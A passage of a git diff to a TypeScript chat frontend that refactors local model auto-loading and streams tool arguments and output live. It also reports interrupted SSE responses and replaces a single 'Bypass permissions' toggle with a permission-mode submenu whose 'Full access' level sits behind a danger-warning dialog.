+                maxSeqLength: 0,
+                successLabel: `Loaded ${repo.repo_id} (${variant.quant})`,
+              })
+            ) {
+              return { loaded: true, blockedByTrustRemoteCode: false };
             }
-            useChatRuntimeStore.setState({
-              ggufContextLength: loadResp.context_length ?? 131072,
-              ggufMaxContextLength:
-                loadResp.max_context_length ??
-                loadResp.context_length ??
-                131072,
-              supportsReasoning: loadResp.supports_reasoning ?? false,
-              reasoningAlwaysOn: loadResp.reasoning_always_on ?? false,
-              reasoningEnabled: loadResp.supports_reasoning ?? false,
-              ...reasoningCapsFromLoad(loadResp),
-              supportsPreserveThinking:
-                loadResp.supports_preserve_thinking ?? false,
-              supportsTools: loadResp.supports_tools ?? false,
-              ...resolveToolsEnabledOnLoad(loadResp.supports_tools ?? false),
-              kvCacheDtype: loadResp.cache_type_kv ?? null,
-              loadedKvCacheDtype: loadResp.cache_type_kv ?? null,
-              tensorParallel: loadResp.tensor_parallel ?? false,
-              loadedTensorParallel: loadResp.tensor_parallel ?? false,
-              defaultChatTemplate: loadResp.chat_template ?? null,
-              chatTemplateOverride: null,
-              loadedChatTemplateOverride: null,
-              loadedIsMultimodal: isMultimodalResponse(loadResp),
-              ...resolveLoadedSpeculativeSettings(loadResp),
-            });
-            toast.success(`Loaded ${repo.repo_id} (${variant.quant})`, {
-              id: toastId,
-            });
-            return { loaded: true, blockedByTrustRemoteCode: false };
           }
         } catch {
           hadNonTrustFailure = true;
@@ -1475,64 +1777,23 @@ async function autoLoadSmallestModel(): Promise<{
         if (loadAttempts >= MAX_AUTO_LOAD_ATTEMPTS) break;
         try {
           if (
-            !(await canAutoLoad({
-              model_path: repo.repo_id,
-              max_seq_length: 4096,
-              is_lora: false,
-              gguf_variant: null,
-            }))
+            skippedAutoLoadCandidates.has(
+              autoLoadCandidateKey("model", repo.repo_id),
+            )
           ) {
             continue;
           }
-          loadAttempts += 1;
-          const sfLoadResp = await loadModel({
-            model_path: repo.repo_id,
-            hf_token: hfToken,
-            max_seq_length: 4096,
-            load_in_4bit: true,
-            is_lora: false,
-            gguf_variant: null,
-            trust_remote_code: trustRemoteCode,
-            speculative_type: specSettings.speculativeType,
-            spec_draft_n_max: specSettings.specDraftNMax,
-          });
-          saveSpeculativeType(specSettings.speculativeType);
-          useChatRuntimeStore.getState().setCheckpoint(repo.repo_id);
-          const store = useChatRuntimeStore.getState();
-          store.setModelRequiresTrustRemoteCode(
-            sfLoadResp.requires_trust_remote_code ?? false,
-          );
-          store.setParams({ ...store.params, maxTokens: 4096 });
-          useChatRuntimeStore.setState({
-            supportsReasoning: sfLoadResp.supports_reasoning ?? false,
-            reasoningAlwaysOn: sfLoadResp.reasoning_always_on ?? false,
-            reasoningEnabled: sfLoadResp.supports_reasoning ?? false,
-            ...reasoningCapsFromLoad(sfLoadResp),
-            supportsPreserveThinking:
-              sfLoadResp.supports_preserve_thinking ?? false,
-            supportsTools: sfLoadResp.supports_tools ?? false,
-            // Parity with the GGUF branch above.
-            ...resolveToolsEnabledOnLoad(sfLoadResp.supports_tools ?? false),
-            defaultChatTemplate: sfLoadResp.chat_template ?? null,
-            chatTemplateOverride: null,
-            loadedChatTemplateOverride: null,
-            ...resolveLoadedSpeculativeSettings(sfLoadResp),
-          });
-          const sfModel: ChatModelSummary = {
-            id: repo.repo_id,
-            name: sfLoadResp.display_name ?? repo.repo_id,
-            isVision: sfLoadResp.is_vision ?? false,
-            isLora: sfLoadResp.is_lora ?? false,
-            isGguf: sfLoadResp.is_gguf ?? false,
-          };
-          if (!store.models.some((m) => m.id === repo.repo_id)) {
-            store.setModels([...store.models, sfModel]);
+          if (
+            await loadAutoLoadCandidate({
+              id: repo.repo_id,
+              kind: "model",
+              ggufVariant: null,
+              maxSeqLength: 4096,
+              successLabel: `Loaded ${repo.repo_id}`,
+            })
+          ) {
+            return { loaded: true, blockedByTrustRemoteCode: false };
           }
-          useChatRuntimeStore.setState({
-            loadedIsMultimodal: isMultimodalResponse(sfLoadResp),
-          });
-          toast.success(`Loaded ${repo.repo_id}`, { id: toastId });
-          return { loaded: true, blockedByTrustRemoteCode: false };
         } catch {
           hadNonTrustFailure = true;
           continue;
@@ -1624,6 +1885,11 @@ async function autoLoadSmallestModel(): Promise<{
         loadedIsMultimodal: isMultimodalResponse(loadResp),
         ...resolveLoadedSpeculativeSettings(loadResp),
       });
+      recordLastLocalModelLoad({
+        id: "unsloth/Qwen3.5-4B-MTP-GGUF",
+        kind: "gguf",
+        ggufVariant: "UD-Q4_K_XL",
+      });
       toast.success("Loaded Qwen3.5-4B-MTP (UD-Q4_K_XL)", { id: toastId });
       return { loaded: true, blockedByTrustRemoteCode: false };
     } catch {
@@ -1661,6 +1927,16 @@ export function createOpenAIStreamAdapter(
         ? `${sandboxSessionId || "_default"}:${resolvedThreadId}`
         : sandboxSessionId || "_default";
       const toolConfirmationIdsByBackendId = new Map<string, string>();
+      // Store keys are pane-scoped since local tool ids ("call_0") repeat across
+      // turns and concurrent panes (compare mode). Track this run's keys so
+      // cleanup can't wipe another pane's.
+      const toolOutputPaneScope = toolPaneScope(
+        options.modelType,
+        options.pairId,
+      );
+      const scopedToolOutputKey = (id: string) =>
+        toolOutputKey(toolOutputPaneScope, id);
+      const runToolLiveOutputKeys = new Set<string>();
       const resolvedThreadKey = resolvedThreadId ?? null;
       const pendingImageEditReferenceForRun = runtime.pendingImageEditReference;
       const selectedImageEditReference =
@@ -1736,6 +2012,7 @@ export function createOpenAIStreamAdapter(
         mcpEnabledForChat,
         confirmToolCalls,
         bypassPermissions,
+        permissionMode,
         webFetchToolsEnabled,
         ragEnabled,
         ragSource,
@@ -1769,6 +2046,9 @@ export function createOpenAIStreamAdapter(
             (provider) => provider.id === externalSelection.providerId,
           )
         : null;
+      const selectedModelSummary = runtime.models.find(
+        (model) => model.id === params.checkpoint,
+      );
       const externalApiKey = externalProvider
         ? getExternalProviderApiKey(externalProvider.id).trim()
         : "";
@@ -2151,6 +2431,7 @@ export function createOpenAIStreamAdapter(
       let waitingFirstChunk = true;
       let firstTokenSettled = false;
       const streamStartTime = Date.now();
+      let responseModelId = externalSelection?.modelId ?? params.checkpoint;
       let firstTokenTime: number | undefined;
       let totalChunks = 0;
       let resolveFirstToken: (() => void) | null = null;
@@ -2205,6 +2486,34 @@ export function createOpenAIStreamAdapter(
       };
       // Tool call parts, cumulative; result lands on tool_end.
       const toolCallParts: PositionedToolCallPart[] = [];
+      // Raw tool_args accumulator per card: the backend forwards arguments while
+      // the model is still WRITING them, and the partial parse below feeds the
+      // card's args so the code renders live.
+      const liveArgsTextById = new Map<string, string>();
+      // Backend tool ids ("call_0", ...) restart every response, so a bare id as
+      // store key lets a later turn's stream overwrite the preserved output an
+      // earlier still-mounted finished card reads (the tool_start stale-clear
+      // only guards the forward direction). Mint one per-run-unique part id per
+      // backend id (confirmation ids already synthesize their own) so each card
+      // key is unique; every tool_start/output/args/end resolves the same id via
+      // this map, dropped at tool_end.
+      const toolPartIdByBackendId = new Map<string, string>();
+      const resolveToolPartId = (backendToolCallId: string): string => {
+        if (!backendToolCallId) {
+          return toolCallParts[toolCallParts.length - 1]?.toolCallId ?? "";
+        }
+        const confirmationId =
+          toolConfirmationIdsByBackendId.get(backendToolCallId);
+        if (confirmationId) {
+          return confirmationId;
+        }
+        let partId = toolPartIdByBackendId.get(backendToolCallId);
+        if (!partId) {
+          partId = `${backendToolCallId}:${crypto.randomUUID()}`;
+          toolPartIdByBackendId.set(backendToolCallId, partId);
+        }
+        return partId;
+      };
       // Latest Gemini text-part thoughtSignature; pinned onto the final
       // text MessagePart so next-turn replay carries it.
       let latestTextThoughtSignature: string | undefined;
@@ -2372,6 +2681,60 @@ export function createOpenAIStreamAdapter(
         const externalBackendProviderType = toExternalBackendProviderType(
           externalProvider?.providerType,
         );
+        const buildResponseDetails = (
+          finishedAt: number,
+        ): ResponseDetailsMetadata => ({
+          modelId: params.checkpoint,
+          modelLabel:
+            (isExternalRequest || responseModelId !== params.checkpoint
+              ? responseModelId
+              : selectedModelSummary?.name || responseModelId) ||
+            params.checkpoint ||
+            "Unknown model",
+          responseModelId:
+            responseModelId ||
+            externalSelection?.modelId ||
+            params.checkpoint,
+          ...(externalProvider?.id ? { providerId: externalProvider.id } : {}),
+          providerName:
+            externalProvider?.name ??
+            (isExternalRequest ? "External provider" : "Local model"),
+          providerType: externalProvider?.providerType ?? "local",
+          startedAt: streamStartTime,
+          finishedAt,
+          durationMs: finishedAt - streamStartTime,
+          ...(sandboxSessionId ? { sessionId: sandboxSessionId } : {}),
+          cancelId,
+          toolCalls: Array.from(
+            new Set(
+              toolCallParts
+                .map((part) => part.toolName)
+                .filter(
+                  (toolName): toolName is string =>
+                    typeof toolName === "string" && toolName.length > 0,
+                ),
+            ),
+          ),
+          tools: {
+            search:
+              webSearchEnabledForThisTurn ||
+              (!isExternalRequest && supportsTools && toolsEnabled),
+            fetch: webFetchEnabledForThisTurn,
+            code:
+              codeExecEnabledForThisTurn ||
+              (!isExternalRequest && supportsTools && codeToolsEnabled),
+            images: imageGenerationEnabledForThisTurn,
+            mcp: !isExternalRequest && supportsTools && mcpEnabledForChat,
+            docs:
+              !isExternalRequest &&
+              supportsTools &&
+              (ragEnabled || projectRagEnabled),
+            artifacts: renderHtmlToolEnabledForThisTurn,
+            confirmToolCalls,
+            bypassPermissions,
+            permissionMode,
+          },
+        });
         const externalCapabilities = getProviderCapabilities(
           externalProvider?.providerType,
         );
@@ -2655,6 +3018,7 @@ export function createOpenAIStreamAdapter(
             audio_base64: audioBase64,
             cancel_id: cancelId,
             ...(sandboxSessionId ? { session_id: sandboxSessionId } : {}),
+            ...(resolvedThreadId ? { thread_id: resolvedThreadId } : {}),
             ...(useAdapter === undefined ? {} : { use_adapter: useAdapter }),
             ...(supportsReasoning
               ? reasoningStyle === "enable_thinking_effort"
@@ -2680,6 +3044,16 @@ export function createOpenAIStreamAdapter(
             ...(supportsPreserveThinking
               ? { preserve_thinking: preserveThinking }
               : {}),
+            // Permission level for local tool calls is sent for every local
+            // chat, not only when a tool pill is on: a process policy
+            // (unsloth run --enable-tools) can open the tool loop with no pill,
+            // and the backend must still see the selected gate. ask/auto request
+            // the confirm gate ("auto" only pauses calls flagged unsafe); off
+            // and full never prompt, full also drops the sandbox.
+            permission_mode: permissionMode,
+            confirm_tool_calls:
+              permissionMode === "ask" || permissionMode === "auto",
+            bypass_permissions: bypassPermissions,
             ...(supportsTools &&
             (toolsEnabled ||
               codeToolsEnabled ||
@@ -2701,10 +3075,6 @@ export function createOpenAIStreamAdapter(
                       : []),
                   ],
                   mcp_enabled: mcpEnabledForChat,
-                  // Bypass Permissions wins: never request the confirm gate
-                  // while bypassing, and tell the backend to drop the sandbox.
-                  confirm_tool_calls: confirmToolCalls && !bypassPermissions,
-                  bypass_permissions: bypassPermissions,
                   // Scope: thread_id = this thread's docs, kb_id = a KB,
                   // project_id = the thread's project sources (auto-on whenever
                   // the project has indexed sources, no Docs pill needed).
@@ -2739,6 +3109,7 @@ export function createOpenAIStreamAdapter(
                     : {}),
                   auto_heal_tool_calls:
                     useChatRuntimeStore.getState().autoHealToolCalls,
+                  nudge_tool_calls: useChatRuntimeStore.getState().nudgeToolCalls,
                   max_tool_calls_per_message:
                     useChatRuntimeStore.getState().maxToolCallsPerMessage,
                   tool_call_timeout: (() => {
@@ -2767,6 +3138,11 @@ export function createOpenAIStreamAdapter(
             const stream = streamChatCompletions(requestPayload, abortSignal);
 
             for await (const chunk of stream) {
+              const chunkModel = (chunk as { model?: unknown }).model;
+              if (typeof chunkModel === "string" && chunkModel.length > 0) {
+                responseModelId = chunkModel;
+              }
+
               // Handle tool status events
               const toolStatusText = (
                 chunk as unknown as { _toolStatus?: string }
@@ -2872,6 +3248,66 @@ export function createOpenAIStreamAdapter(
                   anthropicRefusalSeen = true;
                   continue;
                 }
+                if (toolEvent.type === "tool_output") {
+                  // Incremental stdout from a running tool: append to the live
+                  // store so the card renders it while the spinner runs. Final
+                  // result arrives via tool_end.
+                  const backendToolCallId =
+                    (toolEvent.tool_call_id as string) || "";
+                  const liveId = resolveToolPartId(backendToolCallId);
+                  const liveText =
+                    typeof toolEvent.text === "string" ? toolEvent.text : "";
+                  if (liveId && liveText) {
+                    const liveKey = scopedToolOutputKey(liveId);
+                    runToolLiveOutputKeys.add(liveKey);
+                    useChatRuntimeStore
+                      .getState()
+                      .appendToolLiveOutput(liveKey, liveText);
+                  }
+                  continue;
+                }
+                if (toolEvent.type === "tool_args") {
+                  // The model is still WRITING this call's arguments: accumulate
+                  // the raw stream and feed a partial parse into the part's args
+                  // so the card shows the code live. tool_start later replaces
+                  // args with the authoritative parse.
+                  const backendToolCallId =
+                    (toolEvent.tool_call_id as string) || "";
+                  const liveId = resolveToolPartId(backendToolCallId);
+                  const fragment =
+                    typeof toolEvent.text === "string" ? toolEvent.text : "";
+                  if (liveId && fragment) {
+                    const accum =
+                      (liveArgsTextById.get(liveId) ?? "") + fragment;
+                    liveArgsTextById.set(liveId, accum);
+                    const partial = parseLiveToolArgs(accum);
+                    const idx = toolCallParts.findIndex(
+                      (p) => p.toolCallId === liveId,
+                    );
+                    if (partial && idx !== -1) {
+                      const existing = toolCallParts[
+                        idx
+                      ] as PositionedToolCallPart;
+                      toolCallParts[idx] = {
+                        ...existing,
+                        args: partial.args as ToolCallMessagePart["args"],
+                        argsText: partial.argsText,
+                      };
+                      yield {
+                        content: buildAssistantContent(cumulativeText),
+                        metadata: {
+                          timing: buildTiming(
+                            streamStartTime,
+                            totalChunks,
+                            firstTokenTime,
+                          ),
+                          custom: { reasoningDuration },
+                        },
+                      };
+                    }
+                  }
+                  continue;
+                }
                 closeReasoningContent();
                 const toolProvenance = parseToolProvenance(
                   toolEvent.provenance,
@@ -2885,12 +3321,18 @@ export function createOpenAIStreamAdapter(
                   const id =
                     awaitingConfirmation && approvalId
                       ? `${toolConfirmationScopeId}:${approvalId}`
-                      : backendToolCallId ||
-                        approvalId ||
-                        `${toolEvent.tool_name}_${Date.now()}`;
+                      : backendToolCallId
+                        ? resolveToolPartId(backendToolCallId)
+                        : approvalId ||
+                          `${toolEvent.tool_name}_${Date.now()}`;
                   if (awaitingConfirmation && backendToolCallId) {
                     toolConfirmationIdsByBackendId.set(backendToolCallId, id);
                   }
+                  // "call_0" restarts every response: drop stale live/preserved
+                  // output under this key, else the card shows the previous call's.
+                  const staleKey = scopedToolOutputKey(id);
+                  useChatRuntimeStore.getState().clearToolLiveOutput(staleKey);
+                  useChatRuntimeStore.getState().clearToolFullOutput(staleKey);
                   const toolArgs = (toolEvent.arguments ??
                     {}) as ToolCallMessagePart["args"];
                   const idx = toolCallParts.findIndex(
@@ -2934,17 +3376,35 @@ export function createOpenAIStreamAdapter(
                 } else if (toolEvent.type === "tool_end") {
                   const backendToolCallId =
                     (toolEvent.tool_call_id as string) || "";
-                  const id =
-                    (backendToolCallId
-                      ? toolConfirmationIdsByBackendId.get(backendToolCallId)
-                      : undefined) ||
-                    backendToolCallId ||
-                    toolCallParts[toolCallParts.length - 1]?.toolCallId ||
-                    "";
+                  const id = resolveToolPartId(backendToolCallId);
                   if (backendToolCallId) {
                     toolConfirmationIdsByBackendId.delete(backendToolCallId);
+                    toolPartIdByBackendId.delete(backendToolCallId);
                   }
                   useChatRuntimeStore.getState().clearToolConfirmation(id);
+                  // The result replaces the live output, but if the stream
+                  // captured MORE than the truncated result, preserve it so the
+                  // finished card keeps everything. Uses the shared predicate,
+                  // not a length compare (footer / "Exit code N:" / __IMAGES__
+                  // tail can make the result longer by byte).
+                  const liveKey = scopedToolOutputKey(id);
+                  const liveOutput =
+                    useChatRuntimeStore.getState().toolLiveOutput[liveKey] ??
+                    "";
+                  if (
+                    id &&
+                    shouldPreserveFullOutput(
+                      liveOutput,
+                      (toolEvent.result as string) ?? "",
+                    )
+                  ) {
+                    useChatRuntimeStore
+                      .getState()
+                      .setToolFullOutput(liveKey, liveOutput);
+                  }
+                  useChatRuntimeStore.getState().clearToolLiveOutput(liveKey);
+                  runToolLiveOutputKeys.delete(liveKey);
+                  liveArgsTextById.delete(id);
                   const idx = toolCallParts.findIndex(
                     (p) => p.toolCallId === id,
                   );
@@ -2952,9 +3412,12 @@ export function createOpenAIStreamAdapter(
                     const rawResult = (toolEvent.result as string) ?? "";
                     const imgMarker = "\n__IMAGES__:";
                     const imgIdx = rawResult.lastIndexOf(imgMarker);
+                    const mcpImgMarker = "\n__MCP_IMAGES__:";
+                    const mcpImgIdx = rawResult.lastIndexOf(mcpImgMarker);
                     let parsedResult:
                       | string
                       | { text: string; images: string[]; sessionId: string }
+                      | McpImageToolResult
                       | {
                           image_b64: string;
                           image_mime: string;
@@ -2964,6 +3427,24 @@ export function createOpenAIStreamAdapter(
                           prompt?: string;
                         };
                     const imageB64 = toolEvent.image_b64 as string | undefined;
+                    // A valid MCP image envelope wins; an invalid marker falls
+                    // through so a sandbox __IMAGES__ suffix still renders and
+                    // legit text round-trips unchanged.
+                    let mcpImages: McpImageToolResult | null = null;
+                    if (mcpImgIdx !== -1) {
+                      try {
+                        const images = JSON.parse(
+                          rawResult.slice(mcpImgIdx + mcpImgMarker.length),
+                        );
+                        const candidate = {
+                          text: rawResult.slice(0, mcpImgIdx),
+                          images,
+                        };
+                        if (isMcpImageToolResult(candidate)) mcpImages = candidate;
+                      } catch {
+                        // Not a valid envelope; fall through below.
+                      }
+                    }
                     if (
                       toolCallParts[idx].toolName === "image_generation" &&
                       typeof imageB64 === "string" &&
@@ -2981,6 +3462,8 @@ export function createOpenAIStreamAdapter(
                         background: toolEvent.background as string | undefined,
                         prompt: toolEvent.prompt as string | undefined,
                       };
+                    } else if (mcpImages !== null) {
+                      parsedResult = mcpImages;
                     } else if (imgIdx !== -1) {
                       const text = rawResult.slice(0, imgIdx);
                       // Fall back to "_default" to match the backend sandbox
@@ -3434,11 +3917,12 @@ export function createOpenAIStreamAdapter(
           });
         }
 
+        const finishedAt = Date.now();
         const finalTiming = buildTiming(
           streamStartTime,
           totalChunks,
           serverPromptEvalTime ?? firstTokenTime,
-          Date.now() - streamStartTime,
+          finishedAt - streamStartTime,
           finalTokenCount,
           toolCallParts.length,
           finalTokPerSec,
@@ -3474,6 +3958,7 @@ export function createOpenAIStreamAdapter(
                     modelId: params.checkpoint,
                   }
                 : undefined,
+              responseDetails: buildResponseDetails(finishedAt),
               timing: finalTiming,
             },
           },
@@ -3484,7 +3969,16 @@ export function createOpenAIStreamAdapter(
         );
         if (!abortSignal.aborted) {
           const msg = err instanceof Error ? err.message : String(err);
-          if (isContextLimitError(msg)) {
+          if (err instanceof StreamInterruptedError) {
+            // Connection dropped mid-turn: surface it explicitly (the rethrow
+            // below also marks the message with an inline error + Retry).
+            toast.error("Response interrupted", {
+              description:
+                "The connection dropped before the model finished. " +
+                "The partial answer is kept. Use Retry to regenerate.",
+              duration: 8000,
+            });
+          } else if (isContextLimitError(msg)) {
             // llama-server runs with --no-context-shift, returning a hard
             // error instead of silently dropping old KV-cache turns. Point
             // the user at the control that raises the ceiling.
@@ -3510,6 +4004,19 @@ export function createOpenAIStreamAdapter(
         }
         runtime.setGeneratingStatus(null);
         runtime.setToolStatus(null);
+        // Clear only this run's live keys (a concurrent pane owns its own). A
+        // key still here streamed stdout but never reached tool_end (SSE drop or
+        // cancel), so promote it to full output first, else the partial
+        // diagnostics the user was watching vanish from the card.
+        for (const liveKey of runToolLiveOutputKeys) {
+          const store = useChatRuntimeStore.getState();
+          const liveOutput = store.toolLiveOutput[liveKey] ?? "";
+          if (liveOutput) {
+            store.setToolFullOutput(liveKey, liveOutput);
+          }
+          store.clearToolLiveOutput(liveKey);
+        }
+        runToolLiveOutputKeys.clear();
         // Drop the transient denoising canvas so the finished bubble shows only
         // the committed markdown answer (cancellation/error included).
         runtime.setActiveDiffusionCanvas(null);
diff --git a/studio/frontend/src/features/chat/api/chat-api.ts b/studio/frontend/src/features/chat/api/chat-api.ts
index 8195d89528..ebf9461172 100644
--- a/studio/frontend/src/features/chat/api/chat-api.ts
+++ b/studio/frontend/src/features/chat/api/chat-api.ts
@@ -29,6 +29,21 @@ import type {
 
 export const CHAT_HISTORY_UPDATED_EVENT = "unsloth-chat-history-updated";
 
+/**
+ * Thrown when the chat SSE stream ends without a terminal signal (`[DONE]` or a
+ * finish_reason chunk): the connection dropped mid-generation. The adapter
+ * surfaces it as an explicit interrupted state instead of ending the turn.
+ */
+export class StreamInterruptedError extends Error {
+  constructor() {
+    super(
+      "Response interrupted: the connection dropped before the model finished. " +
+        "Use Retry to regenerate.",
+    );
+    this.name = "StreamInterruptedError";
+  }
+}
+
 export function notifyChatHistoryUpdated(): void {
   if (typeof window !== "undefined") {
     window.dispatchEvent(new Event(CHAT_HISTORY_UPDATED_EVENT));
@@ -851,12 +866,18 @@ export async function* streamChatCompletions(
   const decoder = new TextDecoder();
   let buffer = "";
   let completed = false;
+  // EOF without `[DONE]` or a finish_reason chunk means the stream was cut
+  // mid-generation: surface as interrupted, not silent success.
+  let sawTerminalSignal = false;
 
   try {
     while (true) {
       const { done, value } = await reader.read();
       if (done) {
         completed = true;
+        if (!sawTerminalSignal) {
+          throw new StreamInterruptedError();
+        }
         break;
       }
 
@@ -877,6 +898,7 @@ export async function* streamChatCompletions(
         const dataText = dataLines.join("\n");
         if (dataText === "[DONE]") {
           completed = true;
+          sawTerminalSignal = true;
           return;
         }
 
@@ -903,10 +925,14 @@ export async function* streamChatCompletions(
           separatorIndex = buffer.search(/\r?\n\r?\n/);
           continue;
         }
-        // Tool start/end events carry full input/output for the tool outputs panel
+        // tool_start/end carry full input/output; tool_output streams
+        // incremental stdout and tool_args streams the call arguments live.
         if (
           "type" in parsed &&
-          (parsed.type === "tool_start" || parsed.type === "tool_end")
+          (parsed.type === "tool_start" ||
+            parsed.type === "tool_end" ||
+            parsed.type === "tool_output" ||
+            parsed.type === "tool_args")
         ) {
           yield { _toolEvent: parsed } as unknown as OpenAIChatChunk;
           separatorIndex = buffer.search(/\r?\n\r?\n/);
@@ -925,6 +951,16 @@ export async function* streamChatCompletions(
           separatorIndex = buffer.search(/\r?\n\r?\n/);
           continue;
         }
+        // finish_reason is a valid terminal signal for providers that close
+        // the stream without an explicit [DONE] sentinel.
+        const finishReason = (
+          parsed as {
+            choices?: Array<{ finish_reason?: string | null }>;
+          }
+        ).choices?.[0]?.finish_reason;
+        if (finishReason) {
+          sawTerminalSignal = true;
+        }
         yield parsed as OpenAIChatChunk;
         separatorIndex = buffer.search(/\r?\n\r?\n/);
       }
diff --git a/studio/frontend/src/features/chat/api/chat-settings-api.ts b/studio/frontend/src/features/chat/api/chat-settings-api.ts
index 1ac569efc7..1e00357ea4 100644
--- a/studio/frontend/src/features/chat/api/chat-settings-api.ts
+++ b/studio/frontend/src/features/chat/api/chat-settings-api.ts
@@ -26,6 +26,7 @@ export interface PersistedChatSettings {
   collapseHtmlArtifacts?: boolean;
   allowArtifactNetworkAccess?: boolean;
   autoHealToolCalls?: boolean;
+  nudgeToolCalls?: boolean;
   maxToolCallsPerMessage?: number;
   toolCallTimeout?: number;
 }
diff --git a/studio/frontend/src/features/chat/artifacts/artifact-card.tsx b/studio/frontend/src/features/chat/artifacts/artifact-card.tsx
index a1dabe8ecd..ee8c26abf1 100644
--- a/studio/frontend/src/features/chat/artifacts/artifact-card.tsx
+++ b/studio/frontend/src/features/chat/artifacts/artifact-card.tsx
@@ -23,7 +23,7 @@ import {
 } from "./types";
 
 const CARD_BASE =
-  "group/artifact-card relative flex min-h-[52px] cursor-pointer items-center overflow-hidden rounded-lg border border-border/70 bg-muted/15 px-3 py-2 text-left transition-colors hover:bg-muted/25 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 dark:bg-muted/10 dark:hover:bg-muted/20";
+  "group/artifact-card relative flex min-h-[52px] cursor-pointer items-center overflow-hidden rounded-lg border border-border/70 bg-muted/15 px-3 py-2 text-left transition-colors hover:bg-muted/25 focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring dark:bg-muted/10 dark:hover:bg-muted/20";
 
 export function ArtifactCard({
   code,
diff --git a/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx b/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
index 14cb6747e9..b35317b2fa 100644
--- a/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
+++ b/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
@@ -14,45 +14,49 @@ import {
   AlertDialogHeader,
   AlertDialogTitle,
 } from "@/components/ui/alert-dialog";
-import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
+import {
+  DropdownMenuSub,
+  DropdownMenuSubContent,
+  DropdownMenuSubTrigger,
+} from "@/components/ui/dropdown-menu";
 import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
-import { Tick02Icon } from "@/lib/tick-icon";
+import { PermissionModeMenuItems } from "./permission-mode-select";
 
-// "Bypass permissions" entry for the composer "+" -> More menu. Mirrors the
-// settings toggle: enabling demands the danger warning, disabling is immediate.
-// The menu closes normally on select (no preventDefault) -- the warning dialog
-// lives outside the menu (BypassPermissionsConfirmDialog, mounted once at the
-// chat-page root and driven by the store), so it survives the menu unmounting
-// and the "+"/More popovers don't stay frozen.
+// "Bypass permissions" entry for the composer "+" -> More menu. Like the MCP
+// pill, it opens a submenu where the user picks the permission level (Ask for
+// approval / Approve for me / Full access). Picking Full access demands the
+// danger warning; the other levels apply immediately. The menu closes normally
+// on select (no preventDefault) -- the warning dialog lives outside the menu
+// (BypassPermissionsConfirmDialog, mounted once at the chat-page root and
+// driven by the store), so it survives the menu unmounting and the "+"/More
+// popovers don't stay frozen.
 export function BypassPermissionsMenuItem() {
-  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
-  const setBypassPermissions = useChatRuntimeStore(
-    (s) => s.setBypassPermissions,
-  );
+  const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
   const setBypassConfirmOpen = useChatRuntimeStore(
     (s) => s.setBypassConfirmOpen,
   );
 
   return (
-    <DropdownMenuItem
-      className={bypassPermissions ? "text-bypass font-medium" : undefined}
-      onSelect={() => {
-        if (bypassPermissions) {
-          setBypassPermissions(false);
-        } else {
-          // Defer past Radix's menu-close focus restoration: opening the dialog
-          // synchronously here lets the dropdown grab focus back and breaks the
-          // dialog's focus trap.
-          setTimeout(() => setBypassConfirmOpen(true), 0);
+    <DropdownMenuSub>
+      <DropdownMenuSubTrigger
+        className={
+          permissionMode === "full" ? "text-bypass font-medium" : undefined
         }
-      }}
-    >
-      <HugeiconsIcon icon={ShieldBanIcon} strokeWidth={2} />
-      Bypass permissions
-      {bypassPermissions ? (
-        <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="ml-auto" />
-      ) : null}
-    </DropdownMenuItem>
+      >
+        <HugeiconsIcon icon={ShieldBanIcon} strokeWidth={2} />
+        Bypass permissions
+      </DropdownMenuSubTrigger>
+      <DropdownMenuSubContent className="unsloth-plus-menu w-[300px]">
+        <PermissionModeMenuItems
+          // Defer past Radix's menu-close focus restoration: opening the
+          // dialog synchronously here lets the dropdown grab focus back and
+          // breaks the dialog's focus trap.
+          onRequestFullAccess={() =>
+            setTimeout(() => setBypassConfirmOpen(true), 0)
+          }
+        />
+      </DropdownMenuSubContent>
+    </DropdownMenuSub>
   );
 }
 
@@ -63,19 +67,17 @@ export function BypassPermissionsMenuItem() {
 export function BypassPermissionsConfirmDialog() {
   const open = useChatRuntimeStore((s) => s.bypassConfirmOpen);
   const setOpen = useChatRuntimeStore((s) => s.setBypassConfirmOpen);
-  const setBypassPermissions = useChatRuntimeStore(
-    (s) => s.setBypassPermissions,
-  );
+  const setPermissionMode = useChatRuntimeStore((s) => s.setPermissionMode);
 
   return (
     <AlertDialog open={open} onOpenChange={setOpen}>
       <AlertDialogContent size="sm">
         <AlertDialogHeader>
-          <AlertDialogTitle>Enable Bypass permissions?</AlertDialogTitle>
+          <AlertDialogTitle>Enable Full access?</AlertDialogTitle>
           <AlertDialogDescription>
-            Bypass permissions is dangerous since the AI model might delete,
-            corrupt your machine, and or cause real world damage to you or the
-            world - only accept if you are certain
+            Full access (Bypass permissions) is dangerous since the AI model
+            might delete, corrupt your machine, and or cause real world damage
+            to you or the world - only accept if you are certain
           </AlertDialogDescription>
         </AlertDialogHeader>
         <AlertDialogFooter>
@@ -84,7 +86,7 @@ export function BypassPermissionsConfirmDialog() {
             variant="destructive"
             className="!bg-destructive !text-destructive-foreground hover:!bg-destructive/90"
             onClick={() => {
-              setBypassPermissions(true);
+              setPermissionMode("full");
               setOpen(false);
             }}
           >
diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index cd7cfc77fc..380ce0e0ab 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -14,6 +14,12 @@ import {
 } from "@/components/assistant-ui/model-selector/remembered-load-settings";
 import { ProjectComposer, Thread } from "@/components/assistant-ui/thread";
 import { CopyableErrorChip } from "@/components/ui/copyable-error-chip";
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+} from "@/components/ui/dropdown-menu";
 import {
   ResizableHandle,
   ResizablePanel,
@@ -35,15 +41,16 @@ import {
   useNativeModelDrop,
   useNativePathLeasesSupported,
 } from "@/features/native-intents";
-import { ProjectSourcesPanel } from "@/features/rag/components/project-sources-panel";
 import { GuidedTour, useGuidedTourController } from "@/features/tour";
 import { isTauri } from "@/lib/api-base";
 import { toast } from "@/lib/toast";
 import { cn } from "@/lib/utils";
 import {
   BubbleChatTemporaryIcon,
